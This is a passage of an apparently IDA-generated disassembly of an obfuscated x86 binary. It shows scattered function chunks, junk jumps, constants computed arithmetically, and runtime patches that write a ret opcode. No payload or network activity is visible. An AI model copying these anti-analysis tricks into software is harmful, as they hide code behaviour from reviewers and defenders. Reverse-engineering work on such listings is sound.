		jmp	loc_442E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B3A0

loc_450C64:				; CODE XREF: sub_43B3A0+F5DCj
		sub	al, 99h
		push	0F6A77716h
		pop	edx
		sub	edx, 428DD705h
		test	edx, 20000h
		jmp	loc_4520A5
; END OF FUNCTION CHUNK	FOR sub_43B3A0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_450C7E:				; CODE XREF: sub_44B2EA-3468j
		jmp	sub_43CCD1
; END OF FUNCTION CHUNK	FOR sub_44B2EA
; ---------------------------------------------------------------------------
		xchg	ebx, [eax]
		push	336B9938h
		jmp	sub_459983
; ---------------------------------------------------------------------------

loc_450C8F:				; DATA XREF: sub_459983:loc_4423B4o
		push	0E828E37h
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		jmp	loc_454834
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_450C9F:				; CODE XREF: sub_44084F:loc_447942j
		and	eax, 7
		mov	[ebp-14h], eax
		call	sub_43CB4C

loc_450CAA:				; DATA XREF: sub_44646F-7BADo
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_44D7DC
		jmp	loc_458A8D
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442503

loc_450CBB:				; CODE XREF: sub_442503+3j
		xchg	ebx, [esp+4+var_4]
		mov	ebp, esp
		push	edi
		mov	edi, ecx
		call	sub_43EE53

loc_450CC8:				; CODE XREF: sub_453C98-5249j
		jmp	loc_43B4F4
; END OF FUNCTION CHUNK	FOR sub_442503
; ---------------------------------------------------------------------------

loc_450CCD:				; CODE XREF: dviuq5id:0043CA8Ej
		mov	edi, esi
; START	OF FUNCTION CHUNK FOR sub_450519

loc_450CCF:				; CODE XREF: sub_450519:loc_43CA75j
		sub	edx, 0DB0B49CCh
		call	sub_4593E0

loc_450CDA:				; CODE XREF: dviuq5id:0044CA68j
		jmp	loc_456A09
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_450CDF:				; CODE XREF: sub_451EEC+6j
		push	0E1D7E552h
		pop	eax
		sub	eax, 2811961h
		add	eax, 20ED6EC7h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_45862F
		jmp	loc_44B45B
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
aPqhybd		db 'PQhyBD',0           ; DATA XREF: sub_452D9B:loc_4561F7o
; ---------------------------------------------------------------------------
		jmp	locret_441792
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_450D0D:				; CODE XREF: sub_44B624-2312j
					; dviuq5id:0044FFC8j
		call	sub_450D5C

loc_450D12:				; CODE XREF: sub_43FA59+16F85j
		jmp	loc_4411FC
; END OF FUNCTION CHUNK	FOR sub_44B624
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_454. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_282. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44508C

loc_450D19:				; CODE XREF: sub_44508C+B5D6j
		jmp	nullsub_134
; END OF FUNCTION CHUNK	FOR sub_44508C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4399BB

loc_450D1E:				; CODE XREF: sub_4399BB+13DB1j
		jmp	loc_443EC6
; END OF FUNCTION CHUNK	FOR sub_4399BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455400

loc_450D23:				; CODE XREF: sub_455400+16j
		jz	loc_44C964
		jmp	loc_44187C
; END OF FUNCTION CHUNK	FOR sub_455400
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4411C6

loc_450D2E:				; CODE XREF: sub_4411C6+B027j
		jno	loc_454D14
		cdq

loc_450D35:				; CODE XREF: sub_4584CA:loc_4536FAj
		push	ebx
		push	0B6D0BB5Dh
		jmp	loc_4494F2
; END OF FUNCTION CHUNK	FOR sub_4411C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CBD5

loc_450D40:				; CODE XREF: sub_43CBD5+19ACFj
		jb	sub_442AA1
		mov	edi, 0F6D182B7h
		and	edx, 32ECF931h
		js	loc_44C2B5
		jmp	loc_43919C
; END OF FUNCTION CHUNK	FOR sub_43CBD5

; =============== S U B	R O U T	I N E =======================================



sub_450D5C	proc near		; CODE XREF: dviuq5id:004403D2j
					; sub_44B624:loc_450D0Dp

; FUNCTION CHUNK AT 00444710 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004495B8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044E4AB SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edi
		push	0F33FC3F5h
		pop	edi
		rol	edi, 1Dh
		test	edi, 10h
		jmp	loc_44E4AB
sub_450D5C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4579D1

loc_450D75:				; CODE XREF: sub_4579D1:loc_447869j
		jl	loc_4544DF

loc_450D7B:				; CODE XREF: dviuq5id:00457018j
		jmp	loc_459909
; END OF FUNCTION CHUNK	FOR sub_4579D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A54F

loc_450D80:				; CODE XREF: sub_43A54F+14EEEj
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_43A54F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_450D85:				; CODE XREF: sub_44C2F6+15j
		jmp	loc_4504A2
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_450D8A:				; CODE XREF: sub_43D28E-9Ej
		jmp	loc_447643
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
		add	edx, 0B54DD247h
		jmp	loc_4544D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_450D9A:				; CODE XREF: sub_44297E-455j
		add	edi, 0CF1762AFh
		pushf

loc_450DA1:				; CODE XREF: sub_446DD8:loc_43B8C9j
		not	ebx
		jmp	loc_44FD3B
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------

loc_450DA8:				; CODE XREF: dviuq5id:00443995j
		js	loc_445D7F
		js	loc_44E2DE
		cdq

loc_450DB5:				; CODE XREF: dviuq5id:loc_44AA9Aj
		call	sub_450DC5
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454228

loc_450DBB:				; CODE XREF: sub_454228-9861j
		jmp	loc_4421E5
; END OF FUNCTION CHUNK	FOR sub_454228
; ---------------------------------------------------------------------------

loc_450DC0:				; CODE XREF: dviuq5id:00444844j
		jmp	loc_4460F4

; =============== S U B	R O U T	I N E =======================================



sub_450DC5	proc near		; CODE XREF: sub_454267:loc_43E77Cp
					; dviuq5id:loc_450DB5p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0044971F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044F2D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00452D36 SIZE 00000010 BYTES

		call	sub_4406CD
		jz	loc_452D36
		push	ecx
		jmp	loc_44F2D0
sub_450DC5	endp

; ---------------------------------------------------------------------------

loc_450DD6:				; CODE XREF: dviuq5id:0043E109j
		jo	loc_450A96
; START	OF FUNCTION CHUNK FOR sub_4400A1

loc_450DDC:				; CODE XREF: sub_4400A1+2CBFj
		push	offset loc_45420E
		jmp	loc_458125
; END OF FUNCTION CHUNK	FOR sub_4400A1
; ---------------------------------------------------------------------------

locret_450DE6:				; CODE XREF: dviuq5id:0044E1CEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451B67

loc_450DE7:				; CODE XREF: sub_451B67:loc_45A59Ej
		sub	edx, 0F5F69346h
		xor	edx, 0E495E23Bh

loc_450DF3:				; CODE XREF: dviuq5id:0043DE1Dj
		and	edx, 4C21A827h
		add	edx, 0F4445675h
		xchg	edx, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_451B67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BBA

loc_450E07:				; CODE XREF: sub_442BBA:loc_43C2C3j
		mov	edi, esi
		jmp	loc_457697
; END OF FUNCTION CHUNK	FOR sub_442BBA

; =============== S U B	R O U T	I N E =======================================



sub_450E0E	proc near		; DATA XREF: sub_43F5DC+A9C7o

; FUNCTION CHUNK AT 0044D357 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00451119 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00455D7E SIZE 00000005 BYTES

		add	edx, ebp
		add	edx, 0CD226553h
		mov	edx, [edx]
		xchg	edx, [esp+0]
		push	dword ptr [ebp+8]
		call	eax
		push	ecx
		push	0D502D0EDh
		jmp	loc_44D357
sub_450E0E	endp


; =============== S U B	R O U T	I N E =======================================



sub_450E2B	proc near		; CODE XREF: sub_453D54+9p
					; dviuq5id:004551CBj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0044AF72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044F550 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004551B6 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xchg	esi, [esp+0]
		mov	eax, [ebp-1Ch]
		add	eax, eax

loc_450E37:				; CODE XREF: sub_454267:loc_44AECCj
		jmp	loc_44F550
sub_450E2B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_450E3C:				; CODE XREF: sub_439013+2021j
		add	esp, 8
		mov	eax, [eax]
		jmp	loc_44EE93
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_450E46:				; CODE XREF: sub_44E763+3A16j
		jz	loc_452033
		jmp	loc_439CEC
; END OF FUNCTION CHUNK	FOR sub_44E763
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_450E51:				; CODE XREF: sub_45383B:loc_43E60Bj
		popf
		jmp	loc_44C451
; END OF FUNCTION CHUNK	FOR sub_45383B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_450E57	proc near		; CODE XREF: sub_4512BCj

; FUNCTION CHUNK AT 0043A8C6 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043B447 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043BC68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DE6F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F0F5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446D68 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C49F SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0045059D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00454B20 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456D0F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457131 SIZE 0000000B BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		jmp	loc_44C49F
sub_450E57	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_450E62:				; CODE XREF: dviuq5id:00442428j
		jnz	loc_43C667
		jmp	loc_454DFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_450E6D:				; CODE XREF: sub_43CC42:loc_43DCA4j
		pop	esi
		add	ecx, 0A1CBBAE4h

loc_450E74:				; CODE XREF: dviuq5id:loc_457F8Fj
		or	ecx, 20CC1250h
		sub	ecx, ds:4000F0h
		add	ecx, 0FB4BBB45h
		jmp	loc_44D191
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_450E8B:				; CODE XREF: sub_4492F0:loc_453B41j
		mov	eax, ds:dword_441EBC
		push	offset sub_43CF31
		jmp	nullsub_368
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44F719

loc_450E9B:				; CODE XREF: sub_44F719+12j
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_45A04B
		call	sub_454E7C
		call	nullsub_19
; END OF FUNCTION CHUNK	FOR sub_44F719
; START	OF FUNCTION CHUNK FOR sub_441645

loc_450EAF:				; CODE XREF: sub_4422AB+4j
					; sub_441645+F329j
		mov	eax, ds:dword_44778C
		mov	[ebp+var_4], eax
		jmp	loc_455653
; END OF FUNCTION CHUNK	FOR sub_441645
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_450EBC:				; CODE XREF: sub_44EAC4-1510Ej
		add	esp, 4
		mov	eax, [ebp-10h]
		call	sub_43C350

loc_450EC7:				; CODE XREF: sub_43FAE1+2097j
		jmp	nullsub_238
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_450ECC:				; CODE XREF: sub_43FA59:loc_454E04j
		jnz	loc_4569CE
		jmp	loc_458CAB
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_450ED7:				; CODE XREF: sub_44C4E2+63CCj
		jnz	loc_448076
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; START	OF FUNCTION CHUNK FOR sub_459804

loc_450EDD:				; CODE XREF: sub_459804-589Fj
		jmp	loc_44521F
; END OF FUNCTION CHUNK	FOR sub_459804
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_450EE2:				; CODE XREF: sub_43CB4C+14AE0j
		jmp	loc_458198
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_450EE7:				; CODE XREF: sub_451EEC-373Dj
		jmp	loc_4417F9
; END OF FUNCTION CHUNK	FOR sub_451EEC
; ---------------------------------------------------------------------------
		sbb	ecx, 544347B8h
		popf
		jmp	loc_448074
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456B24

loc_450EF8:				; CODE XREF: sub_456B24+8j
		push	offset sub_44EC31
		jmp	loc_456B1D
; END OF FUNCTION CHUNK	FOR sub_456B24
; ---------------------------------------------------------------------------
		mov	ds:dword_41D010, eax
		lea	eax, nullsub_15
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4512BC

loc_450F16:				; CODE XREF: sub_4512BC:loc_44FF5Aj
		mov	eax, [esp+0]
		jmp	loc_44C11B
; END OF FUNCTION CHUNK	FOR sub_4512BC
; ---------------------------------------------------------------------------

loc_450F1E:				; CODE XREF: dviuq5id:0043BA7Cj
		ja	loc_450B1F
; START	OF FUNCTION CHUNK FOR sub_439A5E

loc_450F24:				; CODE XREF: sub_439A5E:loc_43BA6Bj
		and	edx, 2CD41050h
		add	edx, 5EE5B855h
		add	edx, ebp
		add	edx, 75064797h
		mov	edx, [edx]
		jmp	loc_43FDEA
; END OF FUNCTION CHUNK	FOR sub_439A5E

; =============== S U B	R O U T	I N E =======================================



sub_450F3F	proc near		; CODE XREF: dviuq5id:0043DBACj
					; sub_4454EA+3p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043CF9A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00442744 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449DC9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E0A4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00455557 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00458C8F SIZE 0000000B BYTES

		xchg	esi, [esp+0]
		pop	esi
		xchg	ebx, [esp+0]
		push	ecx
		push	0B2AF40Bh
		pop	ecx

loc_450F4D:				; DATA XREF: sub_44CB39-13732o
		add	ecx, 0AA3FB4CCh
		jmp	loc_442744
sub_450F3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aPsh3UBUisB	db 'PSh3}-î[Ë[º“ëé·B',0 ; CODE XREF: sub_450667:loc_43C6DFj
					; DATA XREF: sub_43FF18:loc_44BA04o
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_450F6B:				; CODE XREF: sub_441F10-BDAj
		call	sub_44E3BA
		retn
; END OF FUNCTION CHUNK	FOR sub_441F10
; ---------------------------------------------------------------------------

loc_450F71:				; CODE XREF: dviuq5id:0045A2EFj
		jmp	loc_44AF63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_450F76:				; CODE XREF: sub_44E1C0-1352j
		jmp	loc_456715
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; ---------------------------------------------------------------------------

loc_450F7B:				; CODE XREF: dviuq5id:0044A899j
		jmp	loc_445DB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_450F80:				; CODE XREF: sub_4463B7-2457j
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------

loc_450F85:				; CODE XREF: dviuq5id:0043A0B5j
		jmp	loc_45808D
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		jnz	loc_44A689
		jmp	loc_449234

; =============== S U B	R O U T	I N E =======================================



sub_450F99	proc near		; CODE XREF: sub_439013+1C7C3j
					; sub_4529AE+38FCp

arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00440E8B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004452D3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044819F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D591 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004510A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0045788E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0045A3CD SIZE 00000010 BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	esi, 7F40420Ch
		mov	[esi], eax
		pop	esi
		jmp	loc_440E8B
sub_450F99	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ecx
		push	2F5CF688h
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_450FB2:				; CODE XREF: sub_452A73-98CBj
		sub	ecx, 0FCD8E207h
		cmp	ecx, 8ECA85C8h
		jmp	loc_446D93
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------
		jnb	loc_43A41B
		jnb	loc_44F56A

loc_450FCF:				; CODE XREF: dviuq5id:004407D1j
		mov	[ebx], eax

loc_450FD1:				; CODE XREF: dviuq5id:0043B98Ej
					; dviuq5id:loc_44BB6Ej
		xor	eax, 10AA7D16h
		jmp	loc_44A056
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_450FDC:				; CODE XREF: sub_44646F:loc_44AD3Dj
		rol	edx, 2
		or	edx, 0F2263CB5h
		test	edx, 40h
		jmp	loc_4452D8
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_450FF0	proc near		; CODE XREF: dviuq5id:0043D1FEj
					; sub_446465+951Dp
		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	4CAE4128h
		pop	edi
		rol	edi, 1
		sub	edi, 0A3549FC0h
		jmp	loc_44F987
sub_450FF0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_451008:				; CODE XREF: sub_451F61:loc_45050Fj
		mov	edx, ebp
		xchg	edx, [esp+8+var_8]
		xor	ebp, 2DEF8033h

loc_451013:				; CODE XREF: dviuq5id:loc_439B32j
		jmp	loc_4468F0
; END OF FUNCTION CHUNK	FOR sub_451F61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_451018:				; CODE XREF: sub_453BE2-50B4j
		jp	loc_44A824
		shl	ebx, 9

loc_451021:				; CODE XREF: dviuq5id:loc_455E03j
		test	ebx, 685ECE52h
		jmp	loc_43951A
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
		not	ebp
		mov	edx, 96E89F40h
		jmp	sub_4439EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444ADC

loc_451038:				; CODE XREF: sub_444ADC:loc_458E91j
		push	ecx
		pop	ebp
		pop	ecx
		mov	eax, ds:dword_457D44
		or	eax, eax
		jnz	loc_456D38
		jmp	loc_43F88B
; END OF FUNCTION CHUNK	FOR sub_444ADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AC6E

loc_45104E:				; CODE XREF: sub_44AC6E:loc_44B522j
		add	edx, 14h
		mov	ecx, [ebx+edx-8]
		or	ecx, ecx
		jz	loc_44312D
		call	sub_44D49A

loc_451062:				; CODE XREF: dviuq5id:loc_43F401j
		jmp	loc_439144
; END OF FUNCTION CHUNK	FOR sub_44AC6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_451067:				; CODE XREF: sub_44846C:loc_44CC7Fj
		push	edx
		mov	edx, esi
		call	sub_44875D

loc_45106F:				; CODE XREF: sub_4422EC+11140j
		jmp	loc_446B1B
; END OF FUNCTION CHUNK	FOR sub_44846C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_451074:				; CODE XREF: sub_454094:loc_447D76j
		jno	loc_43A2F8
		or	esi, 0A664DFC3h
		xchg	eax, ebp
		xor	ebp, ebx
; END OF FUNCTION CHUNK	FOR sub_454094

; =============== S U B	R O U T	I N E =======================================



sub_451084	proc near		; CODE XREF: sub_454094:loc_454AB2j

; FUNCTION CHUNK AT 0043E7D8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E0C5 SIZE 00000011 BYTES

		push	ebx
		push	376608D5h
		pop	ebx
		jmp	loc_43E7D8
sub_451084	endp


; =============== S U B	R O U T	I N E =======================================



sub_451090	proc near		; DATA XREF: dviuq5id:0044D451o
		mov	[edi], eax
		pop	edi
		lea	eax, loc_45A3CD
		mov	byte ptr [eax],	0C3h
		jmp	loc_439DEF
sub_451090	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450F99

loc_4510A1:				; CODE XREF: sub_450F99:loc_45A3CDj
		pop	edx
		mov	eax, [esp+0]
		push	ecx
		jmp	loc_45788E
; END OF FUNCTION CHUNK	FOR sub_450F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4551F9

loc_4510AB:				; CODE XREF: sub_4551F9:loc_44EF49j
		jz	loc_4588E5
		jmp	loc_43BA60
; END OF FUNCTION CHUNK	FOR sub_4551F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_4510B6:				; CODE XREF: sub_446181-3DDAj
		mov	ecx, [ebp+0]
		jl	loc_440CE8
		mov	esi, [edi]
; END OF FUNCTION CHUNK	FOR sub_446181
; START	OF FUNCTION CHUNK FOR sub_454267

loc_4510C1:				; CODE XREF: sub_4556AE-16524j
					; sub_454267:loc_445D8Fj ...
		jmp	loc_455825
; ---------------------------------------------------------------------------

loc_4510C6:				; CODE XREF: sub_454267:loc_43A79Cj
					; sub_446181-5C77j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454117

loc_4510C9:				; CODE XREF: sub_454117:loc_454203j
		jnz	loc_456B92

loc_4510CF:				; CODE XREF: sub_440495+Aj
		jmp	loc_4530B3
; END OF FUNCTION CHUNK	FOR sub_454117
; ---------------------------------------------------------------------------
		sbb	edi, 0C97695E0h
		test	eax, esi
		jmp	loc_456B8C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_4510E2:				; CODE XREF: sub_43FA59-30DBj
		jmp	nullsub_329
; END OF FUNCTION CHUNK	FOR sub_43FA59

; =============== S U B	R O U T	I N E =======================================



sub_4510E7	proc near		; CODE XREF: sub_43CB4C-3869p

; FUNCTION CHUNK AT 0043DDDA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0045312D SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		cmp	dword ptr [ebp-14h], 6
		setz	al
		jmp	loc_43DDDA
sub_4510E7	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_327. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44297E

loc_4510F8:				; CODE XREF: sub_44297E+765Dj
		jmp	nullsub_129
; END OF FUNCTION CHUNK	FOR sub_44297E
; ---------------------------------------------------------------------------

loc_4510FD:				; CODE XREF: dviuq5id:00448C91j
		jmp	loc_44DF3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB53

loc_451102:				; CODE XREF: sub_44BB53-A156j
					; sub_44BB53:loc_4465DDj
		push	990ACF3Fh
		pop	eax
		xor	eax, 2281DDABh
		cmp	eax, 6068804Dh
		jmp	loc_44F0EB
; END OF FUNCTION CHUNK	FOR sub_44BB53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E0E

loc_451119:				; CODE XREF: sub_450E0E:loc_44D357j
		pop	ecx
		and	ecx, 0E9906CB9h
		sub	ecx, 2C7F1988h
		add	ecx, 35B2AD3Dh
		xor	ecx, 0E7159069h
		add	ecx, ebp
		push	edx
		push	offset sub_452019
		jmp	loc_455D7E
; END OF FUNCTION CHUNK	FOR sub_450E0E
; ---------------------------------------------------------------------------

loc_45113F:				; CODE XREF: dviuq5id:00444E92j
		add	eax, 0A5FF61DFh
		add	eax, ebp
		call	sub_45815A
; START	OF FUNCTION CHUNK FOR sub_452D9B

loc_45114C:				; CODE XREF: sub_452D9B-1232Fj
		jmp	loc_44C519
; END OF FUNCTION CHUNK	FOR sub_452D9B
; ---------------------------------------------------------------------------
		adc	edx, esi
		mov	ecx, 6405DA49h
		jmp	sub_43A739
; ---------------------------------------------------------------------------

loc_45115D:				; CODE XREF: dviuq5id:0044B0D7j
		push	edi
		push	248B5F56h
		pop	edi
		add	edi, 7FCD0236h
		jnb	loc_44C24E
; START	OF FUNCTION CHUNK FOR sub_45944F

loc_451170:				; CODE XREF: sub_45944F-11825j
		jmp	loc_449256
; END OF FUNCTION CHUNK	FOR sub_45944F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_451175:				; CODE XREF: sub_446A9C-895Ej
		jmp	loc_44B4BD
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------

loc_45117A:				; CODE XREF: dviuq5id:0043C948j
					; dviuq5id:loc_43E4C3j
		jno	loc_459F59

; =============== S U B	R O U T	I N E =======================================



sub_451180	proc near		; CODE XREF: sub_457A3C:loc_44EF0Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00444839 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C39A SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		xor	ebx, 0E6C0804Eh
		xchg	ebx, [esp+0]
		push	10h
		jmp	loc_444839
sub_451180	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_451194:				; CODE XREF: sub_443ECE-960Dj
		and	esi, 0C70C9673h
		sub	esi, 6E10A49Eh
		add	esi, 2BC4E4C6h
		xor	eax, esi
		push	offset loc_457735
		jmp	nullsub_130
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------

loc_4511B2:				; CODE XREF: dviuq5id:0044DA52j
		cmp	ebx, edi
		jmp	loc_4522F2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44514D

loc_4511B9:				; CODE XREF: sub_44514D-5856j
		or	eax, eax
		jnz	loc_452676
		jmp	loc_44AA55
; END OF FUNCTION CHUNK	FOR sub_44514D

; =============== S U B	R O U T	I N E =======================================



sub_4511C6	proc near		; DATA XREF: dviuq5id:0044ED19o

; FUNCTION CHUNK AT 0043D099 SIZE 00000005 BYTES

		add	ecx, 1B29D2FEh
		xchg	ecx, [esp+0]
		jmp	loc_43D099
sub_4511C6	endp

; ---------------------------------------------------------------------------

loc_4511D4:				; CODE XREF: dviuq5id:loc_44BC37j
		call	sub_44C6ED
		push	ebp
		mov	ebp, edi
		xchg	ebp, [esp]
		push	eax
		pop	edi
		xchg	edi, [esp]
		push	eax
		jmp	loc_448FB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD2F

